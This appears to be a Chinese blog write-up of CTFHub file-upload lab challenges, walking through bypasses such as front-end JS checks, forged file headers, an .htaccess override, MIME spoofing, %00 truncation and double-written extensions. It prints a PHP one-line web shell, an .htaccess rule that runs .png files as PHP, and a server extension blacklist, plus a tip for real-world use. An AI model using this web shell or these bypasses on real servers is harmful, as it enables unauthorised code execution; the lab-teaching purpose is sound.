• CTFHub-技能树-文件上传


    CTFHub-技能树-文件上传

    1.无验证

    = = 这道题忘了截图

    不过思路很简单,写个一句话shell传上去,然后手动或者用蚁剑(这周任务学完写个蚁剑的简单用法总结)连上去,在www目录(好像),就可以找到flag文件,打开就可以拿到flag。

    一句话<?php eval($_POST['cmd']); ?>,实战的话,尽量用一些比较特别的参数名

    当然也可以手工shell,手工shell的话,eval里要用GET

    2.前端验证

    上传一句话,提示不允许上传,查看源代码,有检测的js代码,直接在浏览器里设置禁用js代码,然后上传。

    用蚁剑连上,在html文件夹里就可以看到flag文件

    3.文件头检查

    直接提交会报错

    去查了下,文件头的意思是,不同格式的文件开头会有特征值,然后服务端会检查文件头来确定文件类型是否符合要求。思路就是伪造文件头。

    随便传个png上去,用burp抓包,保留文件头,加上一句话shell,让背后把文件名后缀改成php,但是打开有报错

    应该是对二进制字符解析出错,那么在上传的时候只保留文件头和一句话即可

    手动/蚁剑连上,就可以在目录中找到flag_xxxxxxxx.php

    4..htaccess

    百科对.htaccess的介绍:.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

    这道题应该是让用自己写的.htaccess去覆盖服务器的.htaccess从而允许一些功能。

    这篇总结写的很详细,可以看一下。

    做题过程:

    先上传个一句话,提示文件类型不匹配

    又上传了一张图片,上传成功

    推断需要构造.htaccess,来让服务器把png当作php解析,

    AddType application/x-httpd-php .png
    

    上传.htaccess(就上边这一句话)-->上传成功

    写个一句话shell,然后把后缀改成png --> 上传成功

    最后用手工或者工具连上去,就能在html文件夹里找到flag

    5.MIME绕过

    MIME原本是指多用途互联网邮件扩展类型。后来被用到了HTTP的Content-Type字段,称为互联网媒体类型。

    所以这道题的思路很清晰,修改Content-Type为合法类型

    用burp抓包,修改content-type

    上传成功,手工/工具连接,在html里又flag

    6.00截断

    原理:

    %00,0x00,/00都属于00截断,利用的是服务器的解析漏洞(ascii中0表示字符串结束),所以读取字符串到00就会停止,认为已经结束。

    我想的是,用.jpg%00.php的后缀绕过白名单,但是这样上传上去是图片,而且文件名是随机的(可以爆破出来),不可行,这是response注释里的代码

    if (!empty($_POST['submit'])) {
        $name = basename($_FILES['file']['name']);
        $info = pathinfo($name);
        $ext = $info['extension'];
        $whitelist = array("jpg", "png", "gif");
        if (in_array($ext, $whitelist)) {
            $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
    	// move_uploaded_file($file, $des)把文件file移动到des中 
        // $_FILES 用于读取HTTP POST上传的数组
            if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
                echo "<script>alert('上传成功')</script>";
            } else {
                echo "<script>alert('上传失败')</script>";
            }
        } else {
            echo "文件类型不匹配";
        }
    }
    

    可以看到,des是最终的文件名,由$_GET['road'],/,随机数,日期,后缀名组成。

    其中GET参数road是可控的,所以可以通过%00截断,达到$des = $_GET['road']的效果

    拼接后,$des = '/var/www/html/upload/cmd.php%00/xxYearMoHoMiSe.jpg',但服务器解析时,00后的字符串会被忽略

    7.双写后缀

    看题意,感觉会是服务器端删除/替换后缀

    直接双写后缀.php.php上传,上传成功,response里有注释源码

    $name = basename($_FILES['file']['name']);
    $blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
    $name = str_ireplace($blacklist, "", $name);
    // str_ireplace($search, $replace, $subject)
    // 把subject中的所有search替换为replace
    

    和前边猜的有点不一样,是把所有匹配到的字符串都删掉了

    emmmm,自己想错了,应该是这样双写.pphphp,删掉一个php后,仍然还是php,再次上传

    连上去拿到flag

  • 相关阅读:
    两次动态输入和while的结合使用
    索引切片步长
    12.⽤户登陆(三次输错机会)且每次输错误时显示剩余错误次数(提示:使⽤字符串格式化)
    输出1-100的所以奇数或偶数
    求1-2+3-4+5 ... 99的所有数的和
    求1-100所有数的和
    三次登录机会
    while输入12345689
    while和格式化输出的复合使用
    44
  • 原文地址:https://www.cnblogs.com/R3col/p/12512418.html
Copyright © 2020-2023  润新知